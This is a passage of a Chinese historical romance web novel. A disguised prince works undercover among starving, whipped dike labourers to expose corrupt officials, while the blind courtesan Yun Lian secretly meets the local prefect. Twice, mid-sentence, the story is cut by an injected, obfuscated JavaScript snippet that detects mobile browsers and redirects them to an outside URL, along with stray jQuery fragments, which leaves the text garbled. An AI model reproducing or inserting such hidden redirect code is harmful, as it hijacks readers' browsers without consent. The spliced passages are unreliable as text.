云潋望着燕绥之仓惶离开的背影,犹嫌不足,故意轻声试探:“大人,那软榻狭窄,您夜里总是辗转难眠,妾不忍看您白日奔走,夜里还睡不安稳。长此以往,身体是受不住的。要不然,您还是上床睡吧......” 燕绥之脚步一顿,转身确认云潋的神情。 云潋神情羞赧,手指绞着帕子,十分忐忑不安。 “不必了,现下府中已经没有眼线,我还是去东厢房住吧。” 说罢,燕绥之抱起软榻上的薄被,朝门外走去。 云潋压抑的呜咽声自床榻方向传来,燕绥之立刻心软,似是下定决心,转身朝着床榻走去。 见云潋哭得梨花带雨,双眼红肿,燕绥之立刻缴械投降。 “好好好,我不走,就在这里睡。你莫要再哭,仔细哭伤了眼睛。” 云潋似猫儿一般应声:“大人,妾虽自小长在烟花柳巷,却一直被养在后院,不见外客,至今未被梳拢。妾知道您身份高贵,若是想要寻人伺候,也会倾向于选那些家世清白的女子。若不是刘大人强行将我塞给您,妾这样的出身,您定是看不上眼的。所以大人不必为难,妾日后不会再去叨扰您了。” 云潋哀伤的蜷缩在红帐内,似是认命一般,眼泪不停地淌。 燕绥之这些年见惯了娇生惯养的世家小姐,在外她们一个个摆出庄重大方、雍容华贵的姿态,可不时显露出的自命不凡与睥睨众生的态度却始终让他感到厌烦。 在见到云潋之前,他从未见过哪个贵女肯为婢女的安危甘心冒险;亦不曾见过她们为众生的疾苦而烦忧痛苦;更不曾看到过她们试着体恤身边人的不易。 她们活在家族的光环下,为最先穿上时兴的衣料欢愉,为珠光宝气的金簪争抢,为了寻个身份高贵的夫君尽心筹谋。 像一个个生来就被雕塑好的泥胎,靠着外物点缀、描摹,扮成金光璀璨的模样,可内里却空洞无物,华而不实。 娇养在温室里的花朵虽美丽华贵,却千篇一律,实在无趣。 可云潋不同,她虽然自小被规训、被圈养,命运坎坷,却从不曾自甘堕落,反倒拼命挣扎,利用一切能借力的人事物,拼命攀援。 像生长在悬崖的凌霄花,傲骨铮铮,不屈不挠。 她虽目不能视,却敏锐聪颖,善于观察。 温柔却暗藏锋芒,懂得以退为进,更懂得借力打力。 虽然深知她每一次的温柔和示弱,都暗藏玄机,他却总是在不知不觉间被吸引,逐渐沉沦。 明知一次次被利用,他却甘之如饴。 他想为她斩去一路上的荆棘,只盼她的日子能舒心一些,脸上的笑容再多一些。 就如此刻一般,他情不自禁的伸出手,为她擦拭掉眼角的泪,一字一句,皆是真心。 “出身不代表人的品行高低,我从未嫌弃过你。你很好,能遇到你,我很欢喜。” 云潋激动地抓住燕绥之为她拭泪的手,再次确认:“当真?” “当真。”燕绥之抚上云潋的长发,轻声安抚,“日后,别再说什么不再叨扰之类的气话。” “好,妾记下了。” 云潋乖巧点头,脸上残存的泪珠随着她坚定点头的幅度在空中滑过,恰好落在燕绥之的虎口处。 燕绥之似是被烫到一般,眼球震动,随后静静盯着那滴泪水许久。 待那泪珠从他虎口处滑落,他才回神,为已经躺下的云潋掖好被子。 “睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156586|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 天光微亮,燕绥之半梦半醒间,察觉身前有个人影。 难得睡个好觉的燕绥之立刻惊醒,下意识出手制服眼前人,却猛然听到一声低呼:“大人,是我。” 燕绥之立刻松手,又将人从被子里捞出,他小心观察,见云潋除了手腕被他抓红,其他地方倒是无碍。 “抱歉,我不习惯身边有人。你没伤到吧?” 云潋揉着手腕,轻轻摇头,“我没事儿,是妾吓到您了。” 燕绥之此刻终于适应昏暗的烛光,这才发现云潋身旁有个团扇,他回忆起今日睡着时身边飘来的阵阵凉风,讶然道:“你一直没睡,整晚都在给我摇扇?” 云潋垂首四处摸索,找到团扇后,露出灿然笑容,“找到了。” 随后她很快收敛笑容,低声解释:“天气炎热,虽然有冰鉴和瓷枕,夜里终究是难挨。妾只是想让大人睡个好觉,白日才有精神处理公务,造福宁州百姓。” 燕绥之深受动容,抓着云潋的手腕帮她按揉。 摇了三个时辰的团扇,早就手腕酸痛,燕绥之刚一帮云潋活动两下,她便情不自禁发出一声呻吟:“嘶。” 燕绥之眉头紧锁,“疼的厉害吗?” 云潋笑着摇头,“无碍。” 燕绥之帮云潋按揉手腕许久,见她的双眼因为熬夜和昨夜的痛哭而遍布血丝,立刻监督她睡下,亲自给她摇扇。 天光大亮,燕绥之只摇了不到一个时辰,便双手酸痛,可想而知云潋昨夜摇了整晚,会有多么疲惫。 燕绥之看着云潋那张恬静的睡颜,心中有一块儿角落逐渐塌陷。 虽然此刻无知无觉,却足以改变未来轨迹。 燕绥之轻手轻脚地起身,穿戴好衣衫,刚想出门,就听见床榻内传来一声焦急地呼唤:“大人,您醒了吗?妾立刻起身伺候您穿衣。” “你不必起身,接着睡吧。” 燕绥之本想悄悄离去,谁知云潋觉浅,连开门声都能将她吵醒,见她慌张的想要起身伺候他,白皙的脚在脚踏边胡乱寻着,却始终不见绣鞋的踪影。 “是妾贪睡,竟然睡过了头,请大人莫要生气。” 沈烁和楚执站在门边对视一眼,皆暗叹这盲女手段了的,明明目不能视,更遑论伺候殿下洗漱穿衣,却偏偏要扮做一副温柔贤淑的模样,生出那么多祸端引殿下心疼。 果不其然,半只脚踏出房间的殿下又转身进屋,低声下气地去哄那狐媚子。 燕绥之半跪在脚踏上,抓着云潋的手,柔声哄着:“我在这儿。我已经洗漱穿戴好了,你昨夜一夜未眠,再多睡一会儿吧。” 云潋低眉顺眼,缓缓摇头,“您都起身了,妾还赖在床榻上贪睡,不合规矩。” 燕绥之难得在云潋面前展现出强硬一面,他深知她的顾虑,严肃道:“听话。在这御史府邸,我的话就是最大的规矩。有我在,谁也不敢多嘴。” 云潋这才顺从的躺回床榻,燕绥之见她欲言又止,主动汇报行程:“我今日要去巡视溪河堤坝,若是被公务绊住脚,会着人回来报信。届时你不必等我,照顾好自己即可。” 云潋听到这些,立刻紧张道:“河水泛滥已久,听闻堤坝损毁严重,大人可要万事小心。” 燕绥知将云潋落在额间的碎发整理好,“好。” 马车内,燕绥之身着一身布衣,满面春风。 楚执帮他整理衣衫时,跟他说话,他却一直心不在焉。 沈烁和楚执无奈摇头,一同换上破衣烂衫,两人各自拨乱头发,在脸上胡乱抹上黄泥,不多时,两个英俊的少年,就成了沿街乞讨的流民模样。 “殿下,我等这般模样,当真能混进河工队伍?” 8. 第 8 章 燕绥之收敛心神,“前日我查阅案卷,城郊密林处在十五年间前后发现过九处埋葬大量男性尸骨的乱葬岗,这些埋尸地点看似无序,但是却都有同一个特点——临近溪河上下游的几处堤坝。” 楚执眼眸一转,“您的意思是,这些都是被征召的河工,死后被集中掩埋?” 燕绥之摇头,垂下眼睑,语气严肃:“修建堤坝是重役,长期劳作,河水无情,难免会有死伤。按照律法,不幸殒命的河工尸骨需妥善处置,并对其家人进行适当补偿,尸身绝不会这般胡乱就近掩埋。除非......” 楚执马上明白其中症结,“除非宁州地方官私自做主,加重徭役,征集大量河工,伺机侵吞亡故河工的赔偿款,中饱私囊。” “畜生!”沈烁恼怒不已,“寻常百姓家中失了壮劳力,又没有赔偿款傍身,岂不是将孤儿寡母往绝路上逼!” 燕绥之神情越发沉重,“侵吞钱银的主意已经打到人命身上去,他们还有什么事做不出?宁州官场,我势必要连根拔起!” 御史府外一直有王大人安排的暗哨日夜盯防,好在燕绥之主仆三人武功高强,趁其不备翻墙出府,绕到隔壁巷口,坐上昨日租赁下的一辆靛蓝色马车,朝着溪河堤坝驶去。 将马车停在不远处,燕绥之带着沈烁和楚执躲在高处静静观察。 宁州酷热,日上三竿,无数穿对襟短衫的汉子在烈日下挥汗如雨,一个个晒得皮肤黝黑。 因暑热难耐,长期劳作,不时有人河工倒下,昏厥过去。 一个约莫三十岁的河工刚倒地不起,下一瞬鞭子便已经落在他的身上,长鞭所到之处,血痕立现。 可汉子依旧紧闭双眼,毫无反应。 监工见汉子被打也毫无反应,一群河工围在他身边给他喂水扇风,全然不停他指挥,怒火攻心,骂骂咧咧。 “起来!装什么装!我告诉你们,别以为倒下了,就能到棚子下避暑躲懒。巡察御史前几日已经到了宁州,不日就要前来巡视。若是月底之前这五座堤坝完不了工,你我都得掉脑袋!” 河工们这些天没日没夜的辛勤劳作,吃不饱、睡不好,还日日被打被骂,早就怨声载道。 今日见同乡倒地,可监工却完全不把河工的命当命,围观的河工们一个个握紧双拳,义愤填膺,恨不得将这个冷心冷肺的监工生吞活剥。 监工见河工们恶狠狠地瞪着他,对他的话置若罔闻,立刻甩着长鞭无差别的攻击着围在汉子身边的河工,呵斥道:“看什么看!再看给你们眼睛挖下来!还不赶紧去干活儿!” 和汉子同乡的少年跪在汉子身边,对着监工连连求饶:“大人,他从昨夜就身体不适,现下又在烈日下劳作半日,他是真的坚持不住了。求大人发发善心,放他到棚子下休息一会儿吧!” 监工狠厉非常,语气不善:“谁不热?爷我不热吗?谁不知道躲到棚子底下歇着舒坦,可要是都去歇着,这些活儿谁来干?我劝你少多管闲事,否则爷的鞭子可不长眼!” 说罢,长鞭就要往少年身上甩,好在刚才被少年喂了半碗水,躺在地上的汉子渐渐缓了过来,见少年挨鞭子,他立刻从地上爬起来,跪地求饶。 “大人,小人醒了,马上就去干活,求大人饶他一命吧!” 监工打了半晌,气顺了些,这才收起沾血的鞭子,往阴凉处躲清闲。 他走时还不忘留下一句:“你们俩,今日不准吃晚饭。” 燕绥之抓准时机,带着沈烁和楚执从密林边缘混进河工队伍,娴熟地搬石头和圆木,逐渐混迹到正在搬运沙石的少年和生着病的汉子身旁,帮着他们干起活。 汗水混着沙土落在皮开肉绽的伤口上,少年几次疼的龇牙咧嘴。 汉子愧疚不安,将束在手臂上的汗巾递给少年,声音喑哑:“小五,擦擦吧,听话,下一次别再替我强出头了。” 小五脸色苍白,却勾起一个淳朴的笑容,“大勇哥,这些年你帮我家放羊、割草、种田,要是没有你帮衬,我们娘儿俩早就被吃绝户了,根本活不到现在。在我心里,你就是我亲大哥。大哥受难,我哪有不管的道理。我要是站在一边看你挨打,那和畜生有什么分别?” 大勇十分动容,看上去分外冷硬的汉子,竟然红了眼眶,他摸了摸小五的发顶,“好孩子,大哥没白疼你。” 河工们忙得热火朝天,对眼前这一摊繁重的工作早已麻木。 因此燕绥之他们主仆三人混在河工队伍里忙碌了一个时辰,直到放饭时少年才发现他们几个新鲜面孔。 见他们三人对陌生环境一脸懵懂,小五热络地带着他们朝放饭的粥棚走去。 “你们是刚被抓来的新人吗?还是脚步再快些吧,不然一会儿连粥都没了。” 周围的河工们争先恐后朝粥棚跑去,楚执分外不解,率先开口:“听说河工每日都会发两升米,一个鸡蛋,二两肉,还有些许腌菜与时蔬。既是定量分发的食物,为什么要抢?” 被燕绥之和沈烁搀扶的王大勇一听就乐了,“你们是从外地过来的吧。” 沈烁点头,“对,我们是从贺州过来的。读了城中的告示,发现这边在征召河工,待遇很好,不仅能吃饱饭,还有工钱拿,我们三兄弟就想来谋个生路。” 王大勇咳嗽几声,无奈道:“你们被骗了。” 燕绥之眉头紧皱,“被骗了?” 王大勇叹息着,感叹燕绥之等人涉世未深,羊入虎口。 “哎,这里的河工大半是府衙从各个村子里征召过来的徭役。剩下的一部分是官府在城外抓来的流民,还有一部分就是你这样被告示骗过来的外乡人。你们想着能吃饱,有钱赚,可实际上连吃上饭都是个问题。你们呀,掉进虎狼窝了。” 燕绥之怒从胸中起,“宁州人口乃各州之首,怎会征召不上徭役?甚至需要绑架流民,蒙骗外乡人?” 他们三人说话文绉绉的,一脸书生气,一看就知道这些年养尊处优,不问世事。如今却为了几两碎银被人诓骗来做河工,想必也是落了难。 王大勇本不想多说,可刚才他们不仅搀扶他,给他水喝,还好心帮他上药,这份恩情他想要偿还,才肯多说几句。 “这些堤坝都偷工减料,外表修的宏伟,里面都是空的,每年汛期河水一冲就垮了,上下游几十个村子都要遭难。年年洪涝,年年修,每次都要大量征召壮年徭役。可洪水无情,五个里能有三个回来就谢天谢地了。庄稼毁了,顶梁柱死了,剩下孤儿寡母,没吃没喝,卖儿卖女都是常事。二十几年下来,多少个村子都败了,哪里还有那么多男人能来修堤坝。可上面人要查,面子上总要过得去,只能搞些邪门歪道呗。” 燕绥之面色铁青,双拳紧握。 王大勇环顾四周,凑到燕绥之身边低声叮嘱:“明天子时守卫换班,守卫会松散些。你们三个看上去高高大大的,身体壮,趁机逃跑吧。” 见燕绥之不出声,似乎有些犹豫,王大勇十分着急,不得不说实话:“我听村里的前辈们说过,征召的徭役也许能有命回去。可是为了保密,被掳掠的流民和被骗来的外乡人,他们可是要......” 说着,王大勇的手在脖子上比划了一下。 沈烁怒道:“你是说,他们敢杀人灭口?” 王大勇立刻想要捂住沈烁的嘴,压低声音说:“可不敢乱嚷嚷,让监工和大官们听见,立马就没命。” 燕绥之与沈烁等人捧着满是污渍的碗,垂首看着碗里飘着零星粟米的米汤,掂量着手中拳头大小的粗粮窝头,每个人都沉默不语。 小五用汤碗接着干窝头掉下来的碎渣,狼吞虎咽,仿佛在品尝什么美味珍馐。 燕绥之牙关紧咬,握着窝头心事重重,半晌才憋出 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小五却十分心善,即使望着那个窝头双眼放光,口水不停分泌,却依旧强行压制住胃部传来的饥饿感。 “谢谢你燕大哥,可是下午还有三四个时辰的体力活要干,你不吃熬不住的。” 燕绥之将窝头一分为二,递给小五,“吃吧。” 小五被征召已经有月余,一开始他单打独斗,时常被其他抱团的河工抢走食物,整日饥肠辘辘,要不是半个月前遇到大勇哥为他撑腰,只怕他早就饿死了。 望着那半个粗粮窝头,小五终究是没忍住诱惑,接过来大口吞进肚中。 楚执赶紧将手中还没吃的窝头递给燕绥之,“公子,您吃这个吧。” 燕绥之摇头,掰开一碰就掉渣的窝头塞进嘴里,费力的吞咽才能勉强将干硬的窝头咽下。 下午上工时,燕绥之在堤坝上观察许久,来回在修建一半的堤坝边徘徊,用步子丈量堤坝尺寸,将大致数据记在心中。 这堤坝虽然看似宏伟,可堤坝外缘厚度明显偷工减料。且寻常堤坝内里填充的都是防渗性能好的黏土,可如今却用防渗性能差的沙土代替。 如此操作,河水泛滥之时,自然抵挡不住裹挟着沙石泥土的洪涛巨浪。 原本只想在堤坝打探一番的燕绥之决定留下来住一晚,据他今日观察,这群河工群情激愤,人群之中暗流涌动,且明日守卫即将换岗,说不定会闹出什么事端,他实在放心不下。 听到燕绥之说要留下,沈烁担忧道:“公子,一会儿监工点卯,发现咱们可怎么办?” 燕绥之信心满满,笃定那群躲在棚子底下赌博的监工根本无心工作。 “不会的,一个下午就送来了十几个流民,他们却并未登记在册。这里管理混乱,河工总数多少,只怕连坐镇府衙的知府和师爷都不知道,早就乱成一锅粥了。” 果不其然,下午上工结束后,监工只是大致让他们列队站好,大致扫了一眼,就懒洋洋道:“晚上早点儿睡,明早要提前一个时辰上工,可都别睡过头了。” 河工们听到这话,一个个眉头紧锁,队伍中霎时传来阵阵低声抱怨。 “呦,不服呀。”监工全然不在意众人的怨怼,笑道,“若是不服,可以站出来呀。问问我手里的鞭子,问问守卫手中的长矛。若是赢了我们,明日你们大可睡到日上三竿。” 见众人皆不吭声,监工得意的笑了,临走前还不忘指着小五和王大勇说道:“记住了,你们两个,晚上不许吃饭。” 燕绥之借小解的由头,跟守在密林中的暗卫吩咐:“跟云潋说,我今日有事无法回府。若是有人问起我的行踪,就说我因暑热而身体不适,要在府中休息三日。” 暗卫双手抱拳,低声应答:“是,属下明白。” 9. 第 9 章 暗卫前来传话,云潋并未追问燕绥之的行踪,反倒善解人意的请暗卫给燕绥之捎去叮嘱。 “云潋会谨记大人嘱托,为大人遮掩行踪。也劳您给大人传句话,请大人在外时务必要注意安全、小心行事,妾会在府中等大人回来。” 送走暗卫,静梅关上房门,只见云潋疾步走到案几旁,拿起毛笔,在纸上写下:今晚我要出府一趟 静梅会意,立刻开口:“小姐,我听说后院有一处天然温泉,对肌肤有滋养功效。既然今夜大人不回府,您何不去试试?” 云潋停顿片刻,“也好,那你去收拾几件换洗衣衫吧。” “是,奴婢马上就去。” 静梅背着包袱,小心搀扶云潋走到露天温泉旁,伺候云潋脱下外衫,随后走到温泉旁,随意划拉着温泉水。 “小姐,这泉水可真舒服呀,您多泡泡,将肌肤养的滑嫩些,裴大人肯定喜欢。” 云潋飞快换上夜行服,软声应和道:“那咱们日日来。” 静梅脆声应和:“好,谢谢小姐!” 原本守在云潋身边的暗卫们自是不敢随意窥视,十分自觉的没有跟上来,选择在远处值守。 云潋耳力极佳,精准判断出三名暗卫的位置,对静梅用手指比划一个“一”,示意静梅她将在一个时辰内回来。 静梅飞快脱去衣衫,只着一件亵衣,披散着长发,进入温泉水中,扮作云潋。她看到云潋的示意,朝她坚定点头。 云潋在后院灵活穿梭,脚步极轻,见并未惊动暗卫,随后轻盈一跃便翻墙出府,朝着南街的知府府邸急速奔去。 在房檐上急奔时,云潋敏锐察觉到身后的尾巴,她毫不迟疑的调转方向,朝河边跑去。 到了溪河边,人迹罕至处,云潋停下脚步,对着前方密林处唤道:“可是主子有什么新的吩咐?” 夜风轻拂,月色高悬,密林深处寂静无声。 云潋抬手一挥,一支短镖朝着东北方向的树干飞去,一息之后,一个身着夜行衣的男人从树上跌落,在地上激起一地烟尘,而他咽喉处插着的正是云潋刚才甩手飞出的短镖。 云潋疾步上前,伸手去探男人的侧颈,确认他已经没有呼吸,随手拔下他咽喉处的短镖,收回袖中,又将男人扛到河边,用力扔进溪河。 见男人的尸身顺流而下,很快便消失的无影无踪,云潋这才继续朝曾府跑去。 宁州知府曾闻仕心绪不宁的枯坐在书房内的太师椅上,当黑色身影闯入书房,并抬手挥灭大多数烛火时,他依旧面不改色,亦不曾起身。 云潋蒙着面,轻声唤了句:“曾大人。” 曾闻仕转动着大拇指上的玉扳指,缓缓打量着眼前身着夜行衣,武艺高强的陌生女子,许久才缓缓开口:“不知这位侠士是受何人所托来此,想替背后之人给本官传什么话?” 云潋解开蒙面巾,对曾闻仕露出灿然一笑,“与大人通信许久,还是初次见面,不知大人可认得出我?” 刚才还坦然坐在太师椅上的曾闻仕缓缓起身,满是皱纹的眼睛里闪烁着泪光,望着云潋那张与记忆中女子五六分相像的脸,他泣不成声:“苍天有眼,十年了,我终于等到了!” 云潋看着眼前跪地哀嚎的曾闻仕,立刻俯身搀扶,“曾伯伯,这些年你忍辱负重、潜伏宁州,肯信我所言,尽力相助,我已是万分感激,晚辈岂敢受此大礼。” 曾闻仕长跪不起,泪眼滂沱,浑身颤抖,“小小姐,若无当年你母亲送药喂饭之恩,我早就死在了那个雪夜。是你外祖父资助我参加科举,赠钱银衣物,若无姜家援助,何来今日的曾闻仕。是我无能,不能替姜家翻案。如今我孑然一身,无牵无挂。幸闻小小姐宏愿,我愿效犬马之劳、万死不辞!” 独行十载,孤立无援的云潋亦是泣不成声,她庄重地跪地还礼,双手交叠,俯身下拜,一字一句,真情流露,“姜且,谢曾伯伯大义。” 从曾闻仕那里收回当年随信附上的信物,又商定好下一步计划,云潋见时间不早了,便起身告辞。 曾闻仕闻到云潋身上的血腥气,心疼不已,他深知今日一别,也许永无再相见之日,他唤住云潋:“小小姐,请稍等。” 云潋站在原地,眼看曾伯伯打开暗室,从暗室出来时,他手中拿着几张银票,郑重的放在她手中。 “这些钱你拿着。” 云潋连连摇头,“曾伯伯,这钱我不能收。” 曾闻仕十分坚持,“这钱并非民脂民膏,亦非敌国送来的赃款,是我这些年为官的俸禄。钱虽不多,却是我的一份心意。小小姐,前路未卜,你务必要照顾好自己。” 云潋握紧银票,躬身抱拳,“谢过曾伯伯。” 见云潋三两步便从墙边消失,曾闻仕立刻擦干眼泪,马不停蹄的开始整理这些年所收集到的暗账、往来的信件、以及种种证据。 前路艰险,他必须一击即中。 燕绥之三人和衣与二十几个汉子挤在一张大通铺上,身边响起此起彼伏的呼噜声和咳嗽声。 即便沈烁和楚执睡在一左一右,帮燕绥之隔绝了大半侵扰,可他依旧辗转反侧,始终难以入眠。 因为监工和守卫害怕河工们会顺着溪河沿岸逃跑,或是铤而走险凫水离开,所以即使炎炎夏日,河工们满身臭汗,却依旧没有去河边洗漱的机会,屋内的气味实在难闻,熏得人头疼。 沈烁没心没肺,早就呼呼大睡。 楚执听到燕绥之转身的动静,轻声问道:“公子,可是床太硬,您睡不着?下属将外衣脱下,垫在您身下吧。” 说罢,楚执立刻起身,伸手想要解腰带。 临时搭建起来的木棚只有三面墙,所以从屋外看屋内情形简直一览无余,不时有守卫在各个木棚外来回巡视。 当巡视的守卫看到楚执坐在榻上不睡觉时,守卫立刻呵斥道:“干什么呢?还不赶紧睡!” 楚执没想到夜半起身都要被训斥,只得转身道歉:“抱歉,天太热,这才坐起来吹吹风。” 监工和守卫们最怕底下人纠集闹事,毕竟这些年曾有过不少前车之鉴,所以营地格外重视夜巡。 即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156588|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使楚执耐心解释,守卫依旧不放心的将手中的火把向前举了举,仔细打量着楚执,见楚执细皮嫩肉的,不像是那些不安分的乡野村夫,守卫这才没好气道:“快躺下吧。” 楚执忙不迭点头,躺回通铺。 守卫临走前喊着熟悉的口号:“夜里禁止交头接耳,三两成群,违者杖二十。” 夜巡声势浩大,直到子时才渐渐收队,大半守卫懒洋洋地回到棚子里喝酒划拳,剩下小部分负责值夜的守卫站在瞭望台上尽职尽责的监视着空地上的所有木棚。 果然不出燕绥之所料,守卫们夜巡结束后不久,就有人开始蠢蠢欲动,通铺尽头传来几声低语。 燕绥之屏气倾听,果然听到些关键字眼——“起义”、“逃跑”、“明日换防”。 小五因为身上的鞭痕隐隐作痛,久久不曾入眠,如今听到身边的河工们暗自商讨逃跑大计,自告奋勇要当先锋,“我幼时时常在这边的林子里采草药,这里的地形我最熟,我来带路!” 众人互相对视一眼,又转头看向王大勇,等他定夺。 王大勇作为起义头目,思忖一瞬,认为小五知根知底,点头同意,“好,那明日你当先锋官。” 小五笑得欢快,黝黑的眸子闪烁着兴奋的光芒,恰好和望向这边的燕绥之对上视线,他摇了摇王大勇的手臂,主动提议:“带上他们吧,今天燕大哥还让吃的给我。” 燕绥之适时从通铺上坐起身,周围的河工跟他并不相熟,这种掉脑袋的事情自然不想让太多陌生人知晓,皆警惕地看着他。 燕绥之尽量展露出最平易近人的笑容,主动请缨:“我和我的两个兄弟学过武,身手不错,我们愿意加入。” 王大勇白日那般积极为燕绥之一行人介绍这里的秘辛,就是看中他们三人武艺高强、人高马大,逃跑时也许能对他们有些许助力。 见燕绥之如此主动,王大勇立刻伸手握住燕绥之伸来的手,“好兄弟,如果明天能成功逃脱,我必会请你喝酒!” 燕绥之笑道:“一言为定。” 第二日上工时,身边人一直紧盯着燕绥之等人,连他们去小解都步步跟随,生怕他们偷偷跟监工与守卫告密。 中午休息时,燕绥之对守在身边的一个小哥说道:“我不跑,也不会告密,你不必如此紧绷。来,喝碗水吧。” 小哥是个实在人,农户出身,眨巴着红肿的眼睛,言辞拒绝道:“不行,我不能赌。如果因为你们泄密,牵连所有人,我就成了罪人。” 沈烁最是厌恶被人当作叛徒,低声反驳:“我们没那么下作,你少狗眼看人低!” 楚执生怕引来监工,扯着沈烁的手臂劝慰:“我们并不相熟,他们谨慎些也是正常。” 燕绥之将碗中的水一饮而尽,拍了拍沈烁的肩膀示意他莫要动怒,又笑着跟小哥保证:“我们肯提着脑袋陪你们,也是做好了必死的决心。你且宽心,我们言而有信,说到做到,绝不会临阵脱逃。” 临近子时,通往营地的大道上隐隐传来一阵散乱的马蹄声——换岗的守卫到了。 10. 第 10 章 当换防的守卫列队小跑着进入营地,约定好一起逃跑的几百个河工立刻从通铺上起身,穿戴好鞋袜,按照既定的线路汇集成行,小心的躲在木棚后方,静待时机。 王大勇看着身后紧张的河工们,眉头紧锁,他攥紧拳头,低声叮嘱:“务必等换下来的守卫走远些再行动,不然被两面夹击,更跑不掉。” 身后的河工头领点头,轻声应道:“我们都记着呢,你放心吧大勇哥。” 河工们屏气凝神,左右环顾,生怕被守卫发现。 前去探路的河工久久未归,随着时间的流逝,众人的心都提到嗓子眼儿。 燕绥之站在王大勇身后,警惕的环顾四周,总觉得有人在暗处盯着他们。 曾闻仕站在瞭望台上,静静看着营地守卫被替换成他的亲信,再次叮嘱身边静候他吩咐的师爷,“今夜抓捕,不可伤人性命。” 师爷早年受曾闻仕赏识,陪在他身边已有十五年之久,最是了解他的心思,为了让曾闻仕放心,他连连保证:“大人放心,早已安排妥当。今夜只抓裴大人,绝不会伤及无辜。” 子时一到,守卫领队一声令下:“换防!” 来接替岗位的守卫接过对面守卫手中的长矛,迈着统一的步伐,站到对应的岗位上。 刚刚结束一旬值守任务的守卫们欢天喜地的离开,不多时,整个营地再次归于平静。 深夜蝉鸣四起,正是人最容易困倦的时候。 而前去探路的小五轻手轻脚的来到王大勇身边,低声回禀:“大勇哥,路探好了,后山没有守卫。” 听到这话,众人皆喜笑颜开,王大勇抬起手臂,向前一挥,河工们立刻跟在王大勇与小五身后朝后山奔袭而去。 小五见燕绥之他们三人掉队,特意从队首回头跑来拉他,语气焦急:“燕大哥,快走啊!逃役被抓住是死罪,要砍头的!” 燕绥之有心放河工们归家,所以这才带着沈烁与楚执悄悄跟在队尾,想为他们断后。 “你们先跑,我们断后。” 小五满脸犹豫,燕绥之拍了拍他的头,语气温柔:“好弟弟,别回头,离开后带着你娘好好活。我跟你保证,坚持下去,会等到希望的。” 小五难得严肃,近乎迫切追问:“燕大哥,真的吗?真的会有这么一天吗?” 燕绥之郑重点头,“真的。” 小五伸手和燕绥之拉钩,再次露出天真的笑容,“燕大哥,你一看就是有学识抱负的人,既然你这么说,我信你!” 小五三步一回头,依依不舍的笑着和燕绥之挥手道别,转头跟上大部队。 燕绥之见所有人离开,带着沈烁和楚执回到木棚,坐在大通铺上,燕绥之垂着头,指腹捻着云潋送他的荷包,久久未动。 楚执一直不赞同燕绥之冒充裴望舟彻查宁州官场,几次劝阻无果。如今殿下私自放走几百个河工,更是让情况激化,陛下只怕会越发对殿下不满。 “殿下,您这般行事,落在陛下耳中,只怕又成了您好大喜功,收买人心。陛下本就忌惮您,您为何非要冒这个险呢?” 外人看荣贵妃与二皇子,一个是宠冠六宫、圣眷优渥的贵妃娘娘,一个是德才兼备、深受器重的皇子殿下,可只有身边人知晓,陛下一直忌惮贵妃母族势大,对二殿下处处防备。 他看似重用二殿下,让他自十五岁起跟在宰相身边学习,却一直不肯让他参与军中事务,或是给他任何建功立业的机会,反倒让宰相及朝臣们时刻约束他,对他处处掣肘。 贵妃深受陛下宠爱,二殿下出身高贵,看似前途无量,风光无限,可他受陛下打压之事不胜枚举,素日如履薄冰、谨小慎微才勉强苟活至今,其中艰辛,实在不足为外人道。 本就被陛下忌惮,却偏偏张扬行事,做出些让陛下不喜之事,实在有违殿下往日低调谨慎的性子。 “激浊扬清,嫉恶好善,乃储君之责。” 楚执震惊地睁大双眼,“您......难道您要......争储?” 燕绥之声音低沉,分外笃定,“在其位而不谋其职,太子监国五载,一味对百官左右逢迎,对父皇曲意奉承,全然不顾百姓死活。既然他做不到,我为何不能取而代之?” 沈烁这般没心没肺的人都讶异的说不出话,许久才嗫嚅着开口:“殿下,您当真已经下定决心?开弓可没有回头箭。” 燕绥之将荷包收进怀中,缓缓起身,“闲散皇子,太子的陪衬和磨刀石,一次次被高高捧起,又一次次重重摔下,周而复始,无休无止,吾对这些实在是厌烦至极。” 不等燕绥之带着愣在原地的沈烁和楚执走出木棚,屋外的空地上传来无数凌乱的脚步声,随后很快传来几声呵斥:“夜半逃役,胆大包天!说,谁是主谋!” 刚才已经逃出生天的河工们一脸惊恐的抱头蹲在一起,无数长矛严丝合缝的围成一圈,锃亮的利刃寒光阵阵,让人不寒而栗。 监工绕着圆圈外围来回踱步,挥舞着手中的长鞭,厉声逼问:“快如实交代!否则按照岱国律法,逃役者——死!” 师爷摇着折扇缓步出现,站在火把下,慈眉善目,语气温和:“何必如此大动肝火。” 监工见到许仲宏出现,立刻扔下手中的长鞭,上前作揖,满脸堆笑,“师爷,怎敢劳您大驾。是小人失职,惊扰您休息了。” 许仲宏收起折扇,对监工头子摆了摆手,踱步到河工们面前,朗声道:“法不责众,工期紧迫,我不想横生枝节。可夜半闹出这么大动静,总要给知府老爷一个说法。这样吧,我跟你们保证,只要你们交出主谋,其余人等,皆可平安无事。” 队伍中依旧是死一般寂静,许仲宏了然一笑,“我知道,你们都是同乡旧识,生怕今日告发主谋,来日受他家人指责,同乡鄙夷,终生不安。可你们得想清楚,我可以杀一人,也可以杀百人,你们的生死,不过在我一念之间。我给你们一炷香时间,你们仔细权衡,到底要不要陪他一起赴死。” 言闭,许仲宏坐在下属搬来的太师椅中,手边的香炉里燃起一支短香。 